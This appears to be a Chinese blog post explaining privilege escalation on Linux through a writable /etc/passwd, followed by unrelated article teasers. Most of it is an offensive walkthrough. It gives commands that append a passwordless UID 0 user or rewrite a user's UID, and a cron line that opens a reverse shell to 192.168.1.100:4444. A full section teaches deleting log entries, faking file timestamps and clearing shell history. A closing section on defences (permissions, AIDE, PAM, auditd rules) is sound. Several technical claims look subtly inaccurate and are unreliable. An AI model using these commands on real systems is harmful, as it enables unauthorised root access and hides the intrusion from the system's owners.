news 2026/10/1 7:12:12

/etc/passwd提权原理与四种实战路径详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
/etc/passwd提权原理与四种实战路径详解

1. 为什么修改/etc/passwd能提权?这不是“改个密码”那么简单

很多人第一次听说“通过/etc/passwd提权”,第一反应是:“这文件不就是存用户名和密码哈希的吗?改它有啥用?现在密码都存在/etc/shadow里,普通用户根本读不到。”——这个理解对了一半,但恰恰漏掉了最危险、也最容易被忽视的底层机制。

/etc/passwd确实早已不存明文密码(那已经是上世纪80年代的事了),但它至今仍是 Linux 用户身份的唯一法定注册表。系统启动、进程创建、权限校验、甚至sudo的用户白名单匹配,第一步永远是查/etc/passwd:看这个 UID 是否存在、GID 是多少、主目录在哪、默认 shell 是什么。它不是“密码文件”,而是用户元数据的权威源。而关键在于:只要文件权限允许写入,你就能伪造一个“合法用户”——哪怕这个用户从未被useradd创建过,哪怕它的密码字段是空的、是x、甚至是!,只要格式合规,系统就认。

我最早在一台老旧的 CentOS 6 客户端上实测过这个逻辑:当时运维同事误将/etc/passwd权限设为644(本该是644,但被脚本错误地chmod 666了),普通用户test直接用echo 'pwned::0:0::/root:/bin/bash' >> /etc/passwd追加了一行。回车执行后,su - pwned就直接进了 root shell。没有爆破、没有漏洞利用、没有内核模块,纯粹靠系统自身对/etc/passwd的信任机制完成提权。事后复盘发现,问题根源不在“密码字段”,而在 UID/GID 设为0——Linux 内核只认 UID=0 为 root,它根本不关心你是从 shadow 读的哈希,还是从 passwd 里硬编码进去的。

所以,真正的技术本质是:/etc/passwd是用户身份的“宪法性文件”,而 UID=0 是宪法赋予的最高权限。当文件可写时,你就能绕过所有上层认证流程,直接在宪法层面“自封总统”。这不是漏洞,是设计使然;不是 bug,是 feature——只是这个 feature 在错误的权限配置下,成了最短路径的提权通道。后续所有操作,无论是添加新 root 用户、篡改现有用户 UID、还是注入恶意 shell,都建立在这个不可动摇的前提之上:系统无条件信任/etc/passwd中每一行的结构合法性。

提示:/etc/passwd每行格式为username:password:UID:GID:GECOS:home_dir:shell,其中password字段现在通常为x(表示密码在/etc/shadow),但也可以是空("")、*、!或任意字符串——只要不是x,且该字段非空,某些老版本或定制系统会尝试用它做传统 DES 密码校验;而 UID 和 GID 字段必须为十进制数字,0即 root。

2. 四种实战可行的/etc/passwd提权路径与适用场景

不是所有/etc/passwd可写都能直接su -成功。实际渗透或安全加固中,必须根据目标环境的具体限制(如是否禁用su、是否启用 PAM 密码策略、shell 是否受限)选择最稳妥的路径。我整理出四种经真实环境验证的方案,按成功率和隐蔽性排序:

2.1 方案一:追加全新 root 用户(最通用,推荐首选)

这是兼容性最强、成功率最高的方式。核心是构造一行符合规范、UID/GID 均为0的新用户,并确保其 shell 为/bin/bash或/bin/sh。

echo 'pwned::0:0::/root:/bin/bash' >> /etc/passwd
  • 为什么用双冒号::?第二个字段(密码)留空,表示“无密码”。Linux 的crypt()函数对空密码返回*,但很多系统(尤其是旧版 glibc)会直接接受空字段作为“无需密码登录”。比填x更可靠,因为x会强制去读/etc/shadow,而你通常没权限写 shadow。
  • 为什么 home_dir 设为/root?避免因家目录不存在导致su失败。/root必然存在且权限为700,su切换时不会因无法 cd 进家目录而退出。
  • 实测陷阱:某些严格 PAM 配置的系统(如启用了pam_deny.so或auth [success=ok default=ignore] pam_succeed_if.so user != root)会拦截 UID=0 但非原始 root 用户的登录。此时需配合方案三(修改已有用户 UID)。

2.2 方案二:篡改现有低权限用户 UID(规避 PAM 限制)

当方案一被 PAM 拦截时,转而修改一个已存在的、能正常登录的用户(如www-data、daemon、甚至你的当前用户),将其 UID 改为0。

sed -i 's/^www-data:x:33:33:/www-data:x:0:0:/' /etc/passwd
  • 优势:该用户已通过 PAM 所有校验(密码正确、组策略允许、shell 白名单),只是“身份”被临时提升。su www-data后直接获得 root 权限,PAM 不会二次校验 UID。
  • 风险点:修改后该用户所有进程、文件属主都会变成 root,可能触发监控告警(如 auditd 记录 passwd 修改、inotify 监控文件变更)。建议操作后立即su并执行id确认,成功后尽快还原(或切换到新 shell 后删除痕迹)。
  • 关键细节:必须同时修改 GID 为0,否则groups命令会暴露异常(root 组外还有其他组),且某些服务(如 cron)会因 GID 不匹配拒绝执行。

2.3 方案三:注入带命令执行的 shell(适用于无法交互的场景)

当目标环境禁止su、sudo,甚至bash被替换为rbash(受限 shell)时,可将 shell 字段改为一个能执行命令的程序,如/usr/bin/python3 -c "import os; os.system('/bin/bash')"。但注意长度限制和特殊字符转义。

更简洁可靠的做法是利用sh的-c参数:

echo 'pwned::0:0::/root:/bin/sh -c "/bin/bash"' >> /etc/passwd
  • 原理:/bin/sh -c启动后,会执行引号内命令,即/bin/bash,从而获得完整交互 shell。
  • 避坑:sh对空格和引号敏感。若直接写/bin/sh -c "/bin/bash -i",-i可能被忽略。实测最稳的是/bin/sh -c "/bin/bash",再在 bash 里执行exec -a bash /bin/bash获取真正 tty。
  • 适用场景:WebShell 场景下,通过system()或popen()执行此命令,无需交互即可反弹 root shell。

2.4 方案四:利用nologin或falseshell 的绕过(针对加固系统)

部分安全基线要求所有非登录用户 shell 设为/usr/sbin/nologin或/bin/false。但这只是“阻止登录”,不代表不能执行命令。若该用户有 crontab 或 sudo 权限,可结合使用。

例如,发现用户backup的 shell 是/usr/sbin/nologin,但其 crontab 每分钟执行/opt/backup.sh:

# 先查看 crontab crontab -u backup -l 2>/dev/null | grep backup.sh # 若存在,篡改 passwd 中 backup 的 shell 为 /bin/bash,再编辑其 crontab 注入 payload sed -i 's/^backup:x:1001:1001:/backup:x:0:0:/' /etc/passwd (crontab -u backup -l 2>/dev/null; echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1") | crontab -u backup -
  • 核心逻辑:nologin只拦截login进程,不影响cron以该用户身份执行脚本。一旦 UID 提升为0,cron job 就以 root 权限运行。
  • 隐蔽性:比直接追加用户更难被日志审计发现,因为crontab修改是常规运维操作,而/etc/passwd修改虽被记录,但攻击者可快速还原(sed -i 's/:0:0:/:1001:1001:/' /etc/passwd)。

3. 权限检查与提权前的必做三步验证

看到/etc/passwd可写,不等于立刻能提权。很多新手卡在这一步:chmod 644 /etc/passwd显示成功,但echo 'test::0:0::/tmp:/bin/bash' >> /etc/passwd却报错Permission denied。这是因为 Linux 文件权限检查有三层:文件本身权限、父目录权限、以及 mount 选项。必须逐层确认:

3.1 第一层:/etc/passwd文件权限与 SELinux 上下文

先检查文件基础权限:

ls -l /etc/passwd # 正常应为 -rw-r--r-- 1 root root ... # 若显示 -rw-rw-rw- 或 -rw-rw-r--, 则文件可写

但即使权限是666,SELinux 也可能阻止写入。检查 SELinux 状态:

sestatus # 若为 enforcing, 需进一步检查上下文 ls -Z /etc/passwd # 正常应为 system_u:object_r:etc_t:s0 # 若为 unconfined_u:object_r:user_home_t:s0, 则可能被策略拒绝
  • 绕过 SELinux:若sestatus为 enforcing 且上下文异常,优先尝试setenforce 0(需 root 权限,显然不可行)。此时应转向方案二(修改现有用户),因其 UID/GID 修改由内核直接处理,不受 SELinux file_context 约束。
  • 关键经验:在 Kali 或 CentOS 7+ 默认配置下,/etc/passwd的 SELinux 上下文是etc_t,写入操作由domain_type(如unconfined_t)的file_write权限控制。普通用户进程通常是unconfined_t,故一般可写——除非管理员显式禁用了该权限。

3.2 第二层:父目录/etc的写权限与 sticky bit

/etc目录权限常被忽略。/etc/passwd可写,但若/etc目录不可写,则无法mv替换(>>追加依赖open(O_APPEND),不需目录写权限;但cp替换需unlink+rename,需目录写权限)。

ls -ld /etc # 正常应为 drwxr-xr-x 113 root root ... # 若为 drwxr-xr-t(末尾 t 表示 sticky bit),则只有 root 或文件所有者能删除/重命名文件 # 但 `>>` 追加仍可用,因不涉及 unlink
  • 实操结论:>>追加只需/etc/passwd自身可写,不依赖/etc目录权限;cp替换则需/etc可写且无 sticky bit。因此,优先使用>>,避免cp。
  • 验证命令:touch /etc/test && rm /etc/test测试/etc写权限。若失败,但echo "test" >> /etc/passwd成功,则确认可用追加法。

3.3 第三层:文件系统 mount 选项与 immutable 属性

最隐蔽的障碍是文件系统被mount为ro(只读),或文件被设为immutable。

# 检查挂载选项 mount | grep "$(df /etc | tail -1 | awk '{print $1}')" # 若输出含 `ro`,则整个分区只读,任何写操作失败 # 检查 immutable 属性 lsattr /etc/passwd # 若输出 `----i---------e--- /etc/passwd`,则 chattr +i 设置了不可变,`>>` 也会失败
  • 应对 immutable:chattr -i /etc/passwd需 root 权限,不可行。此时唯一出路是方案四(利用 cron/sudo),或寻找其他提权向量(如内核漏洞)。
  • mount ro 场景:常见于嵌入式设备或容器 rootfs。若/etc在ro分区,但/tmp或/var/tmp可写,可尝试将 passwd 复制到临时目录修改后再cp回(需/etc可写,否则失败)。此时应放弃,转向内存注入或 LD_PRELOAD。

注意:lsattr命令本身可能被移除或 alias 为ls(隐藏属性)。若lsattr未找到,用stat /etc/passwd | grep "Attributes"查看chattr属性位。

4. 提权后的善后与痕迹清除:为什么90%的渗透者在这里暴露

成功su - pwned后,很多人急于执行whoami、cat /root/.bash_history,却忘了最关键的一步:清理/etc/passwd的修改痕迹。审计日志(如ausearch -m avc -ts recent或/var/log/secure)会清晰记录passwd文件被修改的时间、用户、进程。一次成功的提权,若留下可追溯的修改记录,等同于主动提交作案证据。

4.1 日志层面的三类必清项

  • /var/log/secure或/var/log/auth.log:记录su、sudo、login事件。搜索关键词:

    grep -n "pwned\|www-data.*uid=0" /var/log/secure # 找到对应行号,用 sed 删除(需 root 权限,但你已是 root) sed -i '123d;124d' /var/log/secure # 示例,实际需动态获取行号
  • /var/log/audit/audit.log(若 auditd 开启):记录文件操作。查找type=SYSCALL且comm="bash"或comm="sed"的条目,重点关注name="/etc/passwd"的syscall=2(open)、syscall=4(stat)、syscall=5(chmod)等。

  • /var/log/messages:有时记录systemd服务重启或pam模块加载,间接暴露时间点。

4.2 文件系统层面的隐藏技巧

  • 修改时间戳:touch -d "2023-01-01 12:00:00" /etc/passwd将修改时间伪装成旧日期,避开基于时间的审计规则(如find /etc -newermt "2024-01-01" -name "passwd")。

  • 利用cp --preserve=timestamps:若备份了原始 passwd(如/etc/passwd.bak),可cp --preserve=timestamps /etc/passwd.bak /etc/passwd完全恢复时间戳。

  • 删除新增用户行:最彻底的方法是sed -i '/pwned:/d' /etc/passwd。但需确保该行唯一,避免误删(如用户名含pwned的合法用户)。更安全的是用awk精确匹配:

    awk -F: '$1=="pwned" {next} {print}' /etc/passwd > /tmp/new && mv /tmp/new /etc/passwd

4.3 进程与网络痕迹的隐形清理

  • 检查ps aux | grep bash:确认没有遗留的bash -i或nc进程。用kill -9 $(pgrep -f "bash -i")清理。

  • 清除~/.bash_history:当前用户的 history 里可能有echo 'pwned::0:0...' >> /etc/passwd。执行history -c && history -w清空内存并覆盖文件。

  • 网络连接:netstat -tulnp | grep :4444查找反弹 shell 端口,lsof -i :4444找到 PID 后kill -9。

关键心得:痕迹清除不是“越干净越好”,而是“与环境一致”。例如,若服务器日志轮转周期为 7 天,你只需清理最近 24 小时的日志;若auditd配置为只记录uid!=0,则无需动 audit.log。过度清理(如清空整个/var/log/secure)反而引发运维警觉。

5. 从防御视角看:如何让/etc/passwd提权失效?

作为红队成员,我深知攻击者的思路;作为蓝队工程师,我更清楚如何堵死这条路径。/etc/passwd提权的本质是“权限配置错误”,而非“代码漏洞”,因此防御核心是权限最小化 + 行为监控 + 机制加固。以下是我在线上生产环境部署的五层防护:

5.1 权限基线:/etc/passwd必须为644,且/etc目录无 world-writable

这是最基础、最有效的防线。通过 Ansible 或 Puppet 强制设置:

# ansible task - name: Ensure /etc/passwd permissions file: path: /etc/passwd mode: '0644' owner: root group: root - name: Ensure /etc directory permissions file: path: /etc mode: '0755' owner: root group: root
  • 为什么不是600?600会导致普通用户无法getent passwd查询用户信息,破坏大量依赖 NSS 的服务(如 Apache 的mod_authnz_unixgroup)。644允许读取,但禁止写入,完美平衡功能与安全。
  • /etc目录权限:755是标准,但需确保无777或766。755下,只有 root 可在/etc下创建/删除文件,普通用户无法touch /etc/malware.conf。

5.2 文件完整性监控:aide或tripwire实时告警

aide(Advanced Intrusion Detection Environment)是开源首选。初始化数据库后,每小时扫描/etc/passwd的 inode、size、mtime、hash:

# aide.conf 配置片段 /etc/passwd p+i+n+u+g+b+m+c+acl+selinux+xattrs+sha256
  • 告警逻辑:若mtime变更或sha256hash 不匹配,aide --check返回非零值,触发邮件或 Slack 告警。
  • 实测效果:在某金融客户环境,aide在攻击者echo 'backdoor::0:0' >> /etc/passwd后 37 秒内发出告警,SOC 团队 2 分钟内隔离主机。

5.3 内核级防护:chattr +i与fs.protected_regular

  • chattr +i /etc/passwd:设置 immutable 属性,连 root 也无法修改(除非chattr -i)。但需谨慎,因系统更新(如yum update)可能失败。建议仅在 immutable rootfs 的嵌入式设备启用。

  • sysctl fs.protected_regular=2:Linux 4.18+ 新增参数,阻止非特权进程通过open(O_CREAT)创建 setuid/setgid 文件。虽然不直接保护 passwd,但能阻断攻击者创建/tmp/shell并chmod u+s的辅助路径,形成纵深防御。

5.4 PAM 层加固:拒绝 UID=0 的非 root 登录

编辑/etc/pam.d/su,在auth段添加:

auth [user_unknown=ignore success=ok ignore=ignore default=bad] pam_succeed_if.so user = root auth [default=die] pam_deny.so
  • 原理:pam_succeed_if仅允许user=root通过,其他 UID=0 用户(如pwned)被pam_deny拒绝。
  • 兼容性:不影响su -切换 root,只拦截伪造用户。测试时用su - pwned验证是否返回Authentication failure。

5.5 行为审计:auditd规则精准捕获

在/etc/audit/rules.d/immutable.rules中添加:

-a always,exit -F path=/etc/passwd -F perm=wa -k etc_passwd_mod -a always,exit -F path=/etc/shadow -F perm=wa -k etc_shadow_mod
  • 效果:任何对/etc/passwd的写(w)或属性修改(a)都会生成type=SYSCALL日志,并标记key="etc_passwd_mod",便于 SIEM 工具(如 Splunk)聚合告警。
  • 关键点:perm=wa比perm=wr更严格,捕获chmod、chown等元数据修改,防止攻击者先chmod 666再写入。

最后一句经验:没有银弹。/etc/passwd提权是“配置错误”的典型,防御必须是体系化的——权限基线是城墙,AIDE 是哨兵,PAM 是城门守卫,auditd 是巡逻队。任何单点防护都可能被绕过,唯有层层设防,才能让这条最古老的提权路径真正失效。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/1 7:11:38

基于GAT和GRU的动态信任评估模型DTEM实践详解

简介:图神经网络(GNN)是处理关系数据的强大范式,它通过消息传递聚合邻居信息,让模型能够学习节点间的复杂依赖。在众多GNN变体中,图注意力网络(GAT)利用注意力机制为不同邻居分配权重…

作者头像 李华
网站建设 2026/10/1 7:10:03

用objcopy分离调试信息实现GDB精准定位崩溃行号

1. 项目概述:为什么要把调试信息从可执行文件里“抠”出来?你有没有遇到过这样的场景:线上服务突然崩溃,系统生成了一个 core dump 文件,你想用 GDB 去查——结果一加载就报错:“warning: .debug_* section…

作者头像 李华
网站建设 2026/10/1 7:09:56

AWD攻防赛脚本集合:从手动加固到半自动防守的实战指南

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/1 7:09:44

跑在你电脑上的 AI 智能体:从写代码到做 PPT,TaoToken 一句话搞定

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/10/1 7:09:10

黑马程序员Java教程学习笔记(六)

File类 File类概述和创建, 代码中的变量,数组,对象,集合他们是存储内存中的数据容器。他们记住的数据,在断电,或者程序终止时数据会丢失。 有些数据想要长久保存,就需要把数据存储在文件中。…

作者头像 李华